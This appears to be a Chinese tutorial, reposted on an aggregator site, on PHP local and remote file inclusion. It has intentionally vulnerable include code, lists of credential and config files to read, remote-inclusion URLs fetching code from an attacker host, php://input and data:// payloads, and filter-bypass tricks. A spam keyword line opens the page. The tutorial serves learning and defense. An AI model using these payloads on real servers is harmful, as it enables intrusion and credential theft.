国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

文件包含漏洞

這篇具有很好參考價(jià)值的文章主要介紹了文件包含漏洞。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

漏洞講解

漏洞過(guò)程解析
在使用include等包含函數(shù)時(shí),當(dāng)對(duì)包含文件的來(lái)源過(guò)濾不嚴(yán)格,那么會(huì)包含到惡意文件,攻擊者將會(huì)通過(guò)這個(gè)惡意文件來(lái)到達(dá)他想要達(dá)到的相應(yīng)目的。
引用一句網(wǎng)上看到的話(huà):文件包含漏洞和SQL注入等攻擊方式一樣,文件包含漏洞也是一種注入型漏洞,其本質(zhì)就是輸入一段用戶(hù)能夠控制的腳本或者代碼,并讓服務(wù)端執(zhí)行。

漏洞原理
在開(kāi)發(fā)過(guò)程中,難免會(huì)有相同代碼吃飯使用的情況,我們會(huì)將這類(lèi)代碼單獨(dú)放在一個(gè)文件中,等到要用的時(shí)候,可以直接在使用出運(yùn)用包含函數(shù)來(lái)進(jìn)行運(yùn)用,而這種方式會(huì)導(dǎo)致客戶(hù)端可以調(diào)用其他的惡意文件,由此被利用。

漏洞利用前提
被包含的文件應(yīng)該被當(dāng)作一個(gè)變量實(shí)驗(yàn),用戶(hù)可傳入的,如若該變量未被采取相應(yīng)安全措施(如設(shè)置白名單),那么將出現(xiàn)文件包含漏洞。

文件包含漏洞的危害
可以讀取web服務(wù)器上的敏感文件如配置文件等,如果和webshell配合使用將造成巨大風(fēng)險(xiǎn)

文件包含中的PHP知識(shí)

在php.ini文件在有這么兩個(gè)變量 allow_url_fopen和allow_url_include
allow_url_fopen 默認(rèn)值為ON,為允許url的封裝協(xié)議打開(kāi)文件處理。
allow_url_include 默認(rèn)值為OFF,為不允許url的封裝協(xié)議包含文件,如若需要進(jìn)行遠(yuǎn)程包含文件需要將參數(shù)設(shè)置為ON。
這兩個(gè)參數(shù)都只是影響遠(yuǎn)程文件包含

常見(jiàn)的包含函數(shù)
PHP:include(),include_once(),require(),require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual(除了PHP的,另外兩個(gè)我都不了解,網(wǎng)上看到整理的,嘿嘿)

就講一下PHP這四個(gè)包含函數(shù)的區(qū)別吧
include:包含文件時(shí),如若包含失敗,會(huì)返回一個(gè)警告,但不會(huì)影響代碼執(zhí)行。
include_once():與include作用相同,不同的是,include_once()函數(shù)會(huì)檢查該文件是否已經(jīng)被包含過(guò)了,如果已經(jīng)包含過(guò),就不會(huì)在包含了,也就是相同的文件只會(huì)包含一次。
require():包含文件時(shí),如若包含失敗,代碼將終止執(zhí)行。
request_once():與require()類(lèi)似,與require()不同的是,跟上面將include()和include_once()的不同。

php魔術(shù)引導(dǎo)
當(dāng)sql語(yǔ)句中有單引號(hào)'',雙引號(hào)"",反斜杠\和NULL,需要對(duì)這些進(jìn)行轉(zhuǎn)義,否則寫(xiě)入數(shù)據(jù)庫(kù)時(shí)候就會(huì)出錯(cuò),php配置文件php.ini中就存在魔術(shù)符號(hào)magic_quotes_gpc

PHP偽協(xié)議部分太多了,在后面一起講

文件包含漏洞分類(lèi)
文件包含漏洞分為本地文件包含漏洞和遠(yuǎn)程文件包含漏洞

本地文件包含漏洞(LFI)
能夠打開(kāi)包含本地文件的漏洞就叫作本地包含文件漏洞
舉一個(gè)例子,在filetest.php文件中寫(xiě)入

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

在phpinfo.php寫(xiě)入

<?php
phpinfo();
?>

filetest.php中有name參數(shù),這個(gè)參數(shù)能夠被用戶(hù)所控制,用戶(hù)提供這個(gè)參數(shù)來(lái)包含本地的文件,那么就形成了本地包含漏洞

文件包含漏洞

如filetest.php,這樣的代碼可以讓我們讀取到系統(tǒng)本地的敏感信息
可以采用來(lái)讀取下面這些敏感信息
Windows系統(tǒng)
C:\boot.ini //查看系統(tǒng)版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //Windows系統(tǒng)初次安裝的密碼
C:\ProgramFiles\mysql\my.ini //Mysql配置

Linux系統(tǒng):
/etc/password //賬戶(hù)信息
/etc/shadow //賬戶(hù)密碼信息
/usr/local/app/apache2/conf/httpd.conf //Apache2配置文件
/usr/local/app/php5/lib/php.ini //PHP相關(guān)配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

因此也可以這樣構(gòu)造http://127.0.0.1/filetest.php/?name=C:\Windows\system.ini
文件包含漏洞
當(dāng)然不只是絕對(duì)路徑,相對(duì)路徑也是可以的

遠(yuǎn)程文件包含漏洞(RFI)
遠(yuǎn)程文件包含漏洞成因其實(shí)和本地文件包含漏洞相同,只不過(guò)遠(yuǎn)程文件包含漏洞利用的是外部服務(wù)器中文件。
遠(yuǎn)程文件包含漏洞需要前面講的allow_url_fopen、allow_url_include參數(shù)均為ON
說(shuō)一下大概過(guò)程
需要兩臺(tái)服務(wù)器,一臺(tái)為目標(biāo)服務(wù)器,一臺(tái)為攻擊者服務(wù)器
目的服務(wù)器下php代碼

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

攻擊者服務(wù)器下php代碼

<?php
phpinfo();
?>

攻擊者訪問(wèn)目的服務(wù)器,并將他本地下服務(wù)器的文件進(jìn)行遠(yuǎn)程文件包含
假設(shè)目的服務(wù)器:192.168.0.1
攻擊者服務(wù)器:192.168.0.2
那么便為192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php

接下來(lái)講一下文件包含漏洞如何可以實(shí)現(xiàn)webshell
在遠(yuǎn)程文件包含時(shí)
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php就以這個(gè)舉例
現(xiàn)在將phpinfo.php中內(nèi)容改為

")//此處@符號(hào)表示即使后面執(zhí)行錯(cuò)誤也不報(bào)錯(cuò)

?>
那么我們就會(huì)在根目錄下創(chuàng)建一個(gè)名為webshell.php的文件
就可以用蟻劍
URL地址:http://目標(biāo)服務(wù)器ip/webshell.php
連接密碼:cmd
便可以連接成功了

接下來(lái)講PHP偽協(xié)議
file:// 訪問(wèn)本地文件系統(tǒng)
http:// 訪問(wèn)HTTPs網(wǎng)站
ftp:// 訪問(wèn)FTP URL
php:// 訪問(wèn)各個(gè)輸入/輸出流 即I/O流
zlib:// 壓縮流
data:// 數(shù)據(jù)
expect:// 處理交互式的流
glob:// 查找匹配的文件路徑

file://
訪問(wèn)本地文件系統(tǒng),既然是本地那么就不受allow_url_fopen和allow_url_include影響,通常用來(lái)讀取本地文件
使用方式file://文件路徑

php://
訪問(wèn)各個(gè)輸入/輸出流
常用的是php://filter和php://input
1)php://filter
用于讀取源碼
php://filter在執(zhí)行代碼前將轉(zhuǎn)化,如進(jìn)行base64編碼,不然就會(huì)直接當(dāng)作php代碼執(zhí)行,那么就看不到源代碼內(nèi)容了
用法:php://filter/read=convert.base64-encode/resource=你要讀取的文件
URL:192.168.0.1(http:目的服務(wù)器ip)/test.php(一個(gè)php文件)/?name=php://filter/read=convert.base64-encode/resource=test.php
假如test.php里寫(xiě)的是
那么頁(yè)面就會(huì)顯示的base64編碼
這里是讀取當(dāng)前目錄下,也可以用相對(duì)路徑,來(lái)調(diào)整

2)php://input
用于執(zhí)行php代碼
需要注意php://input需要以POST請(qǐng)求
php://input訪問(wèn)原始數(shù)據(jù)的只讀流,將POST請(qǐng)求的數(shù)據(jù)當(dāng)作php代碼執(zhí)行
用法:當(dāng)傳入的參數(shù)作為文件名打開(kāi)時(shí),可以將參數(shù)設(shè)為php://input,同時(shí)post想設(shè)置的文件內(nèi)容,php執(zhí)行時(shí)會(huì)將post內(nèi)容當(dāng)作文件內(nèi)容。(這句話(huà)網(wǎng)上看的)
可以結(jié)合抓包使用

http://
訪問(wèn)HTTPs網(wǎng)站
可以進(jìn)行遠(yuǎn)程包含進(jìn)行漏洞執(zhí)行
URL:http://192.168.0.1(目的服務(wù)器ip)/test.php(一個(gè)php文件)/?name=https://www.cnblogs.com/l-xx123(你所要的網(wǎng)站)

data://
用于數(shù)據(jù)流讀取(聽(tīng)這個(gè)很像php://input)
如果傳入的是php代碼,那就執(zhí)行任何代碼
利用它需要allow_url_fopen和allow_url_include參數(shù)均為ON
用法:data://text/plain(格式),(你所要執(zhí)行的php代碼)
為了防止對(duì)于一些特殊字符的過(guò)濾,還有使用編碼方式
以下用了base64編碼
datadata://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=(加密后的)

文件包含漏洞繞過(guò)方式

本地文件包含繞過(guò)

空字符繞過(guò)(%00截?cái)?
這個(gè)需要php版本低于5.3.4,并且關(guān)閉前面說(shuō)魔術(shù)符號(hào),為OFF
%00截?cái)嗟脑?br> %00是ascii碼為0的字符的url編碼后
在某些函數(shù)處理時(shí),會(huì)把這個(gè)字符當(dāng)做結(jié)束符。
系統(tǒng)在對(duì)文件名的讀取時(shí),如果遇到0x00,就會(huì)認(rèn)為讀取已結(jié)束。

URL:http://192.168.0.1/tets.php/?name=1.php
如果我們像上面那樣輸入就要變成1.php.jpg
會(huì)拼接一個(gè).jpg
URL:http://192.168.0.1/test.php/?name=1.php
而這樣就可以成功包含php代碼了

超長(zhǎng)字符繞過(guò)

超長(zhǎng)字符繞過(guò)式利用操作系統(tǒng)對(duì)目錄的最大長(zhǎng)度限制
不同系統(tǒng)的最大長(zhǎng)度不一樣
在 Windows 中目錄長(zhǎng)度不可以超過(guò) 256 字節(jié),linux 中目錄長(zhǎng)度不可以超過(guò) 4096 字節(jié)
在這里我們會(huì)利用垃圾字符./,當(dāng)然不止它可以使用,這里就不說(shuō)了,因?yàn)槲彝?,可以上網(wǎng)看看
用法URL:http://192.168.0.1/tets.php/?name=1.php././././././././././././././././././././././././././././././././././././././././././././././././././
就是在讀取本地文件后面加上很多./

遠(yuǎn)程文件包含繞過(guò)

空字符繞過(guò)(%00截?cái)?
同本地文件包含的那個(gè)一樣,只不過(guò)它是遠(yuǎn)程文件包含而已

超長(zhǎng)字符繞過(guò)
同本地文件包含的那個(gè)一樣,只不過(guò)它是遠(yuǎn)程文件包含而已

?繞過(guò)
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以這個(gè)為例
我們可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上?
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php?

還可以使用特殊字符來(lái)繞過(guò),加上url編碼后

繞過(guò)

192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以這個(gè)為例
我們可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%23
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%23
%23是#url編碼后的結(jié)果

空格繞過(guò)
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以這個(gè)為例
我們可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%20
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%20
%20是空格url編碼后的結(jié)果

文件包含漏洞防護(hù)
1.對(duì)上傳文件進(jìn)行重命名,防止被讀取
2.關(guān)閉危險(xiǎn)配置,如allow_url_include如果打開(kāi),會(huì)進(jìn)行遠(yuǎn)程包含,十分危險(xiǎn)
3.過(guò)濾危險(xiǎn)字符,比如過(guò)濾掉../,或者一些編碼的特征
4.設(shè)置白名單,來(lái)進(jìn)行文件包含文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-825132.html

到了這里,關(guān)于文件包含漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 文件包含漏洞及漏洞復(fù)現(xiàn)

    文件包含漏洞及漏洞復(fù)現(xiàn)

    程序開(kāi)發(fā)人員通常會(huì)把可重復(fù)使用函數(shù)或語(yǔ)句寫(xiě)到單個(gè)文件中,形成“封裝”。在使用某個(gè)功能的時(shí)候,直接調(diào)用此文件,無(wú)需再次編寫(xiě),提高代碼重用性,減少代碼量。這種調(diào)用文件的過(guò)程通常稱(chēng)為包含。 程序開(kāi)發(fā)人員都希望代碼更加靈活,所以會(huì)把被包含的文件的路徑設(shè)

    2024年02月10日
    瀏覽(22)
  • 拓?fù)渑判蛟斀猓ò惴ㄔ韴D解、算法實(shí)現(xiàn)過(guò)程詳解、算法例題變式全面講解等)

    拓?fù)渑判蛟斀猓ò惴ㄔ韴D解、算法實(shí)現(xiàn)過(guò)程詳解、算法例題變式全面講解等)

    在圖論中,如果一個(gè)有向圖無(wú)法從某個(gè)頂點(diǎn)出發(fā)經(jīng)過(guò)若干條邊回到該點(diǎn),則這個(gè)圖是一個(gè)有向無(wú)環(huán)圖(DAG圖)。 如圖所示。 對(duì)于一個(gè)有向圖,若x點(diǎn)指向y點(diǎn),則稱(chēng)x點(diǎn)為y點(diǎn)的入度。 對(duì)于一個(gè)有向圖,若x點(diǎn)指向y點(diǎn),則稱(chēng)y點(diǎn)為x點(diǎn)的出度。 隊(duì)列是一種特殊的線(xiàn)性表,特殊之處在

    2024年02月07日
    瀏覽(30)
  • 【web安全】文件包含漏洞

    【web安全】文件包含漏洞

    目錄 1.什么是文件包含漏洞 2.產(chǎn)生原因 3.文件包含的類(lèi)型 3.1本地文件包含 3.2遠(yuǎn)程文件包含 4.攻擊利用手法 4.1 file:協(xié)議 4.2 php://協(xié)議 ?4.3 zip://,bzip2://,zlib://協(xié)議? 4.4 data://協(xié)議 4.5 PHP偽協(xié)議總結(jié)? 5.如何防御? 6.常見(jiàn)系統(tǒng)的默認(rèn)路徑 7.文件包含漏洞的奇技淫巧 LFI+日志文件gets

    2024年02月07日
    瀏覽(24)
  • 文件包含漏洞利用和防御

    使用函數(shù)包含指定文件的代碼,沒(méi)對(duì)函數(shù)的參數(shù)進(jìn)行過(guò)濾,可被用戶(hù)控制包含惡意文件并執(zhí)行代碼 漏洞分類(lèi) 本地文件包含:目錄遍歷、任意文件讀取、包含日志文件getshell、圖片馬getshell、偽協(xié)議讀取文件/命令執(zhí)行、包含phpinfo上傳的臨時(shí)文件 遠(yuǎn)程文件包含:遠(yuǎn)程木馬getshe

    2024年02月02日
    瀏覽(62)
  • 文件包含漏洞學(xué)習(xí)筆記

    文件包含漏洞學(xué)習(xí)筆記

    相同內(nèi)容或方法在多個(gè)頁(yè)面顯示或調(diào)用,文件包含漏洞又稱(chēng)為目錄遍歷漏洞或任意文件訪問(wèn)漏洞。分為本地文件包含(LFI:Local File Inclusion),遠(yuǎn)程文件包含(RFI:Remote File? Inclusion),也可分為靜態(tài)文件包含,動(dòng)態(tài)文件包含。 頁(yè)面中直接引用靜態(tài)文件。 main.php內(nèi)容如下:

    2023年04月08日
    瀏覽(17)
  • 文件包含漏洞利用思路

    文件包含漏洞利用思路

    通過(guò) PHP 函數(shù)引入文件時(shí),傳入的文件名沒(méi)有經(jīng)過(guò)合理的驗(yàn)證,從而操作了預(yù)想之外的文件,導(dǎo)致意外的文件泄漏甚至惡意代碼注入。 php中常見(jiàn)的文件包含函數(shù)有以下四種: include() require() include_once() require_once() include與require基本是相同的,除了錯(cuò)誤處理方面: include(),只生成

    2024年02月16日
    瀏覽(25)
  • DVWA之文件包含漏洞

    DVWA之文件包含漏洞

    1、什么是文件包含 程序開(kāi)發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫(xiě)到單個(gè)文件中,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件,而無(wú)需再次編寫(xiě),這中文件調(diào)用的過(guò)程一般被稱(chēng)為文件包含。 2、文件包含漏洞 程序開(kāi)發(fā)人員一般希望代碼更靈活,所以將被包含的文件設(shè)置為變量,用來(lái)進(jìn)行

    2024年02月04日
    瀏覽(15)
  • 文件包含漏洞

    文件包含漏洞

    漏洞講解 漏洞過(guò)程解析 在使用include等包含函數(shù)時(shí),當(dāng)對(duì)包含文件的來(lái)源過(guò)濾不嚴(yán)格,那么會(huì)包含到惡意文件,攻擊者將會(huì)通過(guò)這個(gè)惡意文件來(lái)到達(dá)他想要達(dá)到的相應(yīng)目的。 引用一句網(wǎng)上看到的話(huà):文件包含漏洞和SQL注入等攻擊方式一樣,文件包含漏洞也是一種注入型漏洞,

    2024年02月19日
    瀏覽(23)
  • 文件包含漏洞相關(guān)協(xié)議詳解

    文件包含漏洞相關(guān)協(xié)議詳解

    今天繼續(xù)給大家介紹滲透測(cè)試相關(guān)知識(shí),本文主要內(nèi)容是文件包含漏洞相關(guān)協(xié)議詳解。 免責(zé)聲明: 本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴(yán)禁利用文中技術(shù)進(jìn)行非法行為,否則造成一切嚴(yán)重后果自負(fù)! 再次強(qiáng)調(diào):嚴(yán)禁對(duì)未授權(quán)設(shè)備進(jìn)行滲透測(cè)試! 首先,我們來(lái)介紹以下文件

    2024年02月13日
    瀏覽(20)
  • 文件包含漏洞全面詳解

    文件包含漏洞全面詳解

    1.文件包含漏洞概述 和SQL注入等攻擊方式一樣,文件包含漏洞也是一種注入型漏洞,其本質(zhì)就是輸入一段用戶(hù)能夠控制的腳本或者代碼,并讓服務(wù)端執(zhí)行。 什么叫包含呢?以PHP為例,我們常常把可重復(fù)使用的函數(shù)寫(xiě)入到單個(gè)文件中,在使用該函數(shù)時(shí),直接調(diào)用此文件,而無(wú)需

    2024年02月02日
    瀏覽(24)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包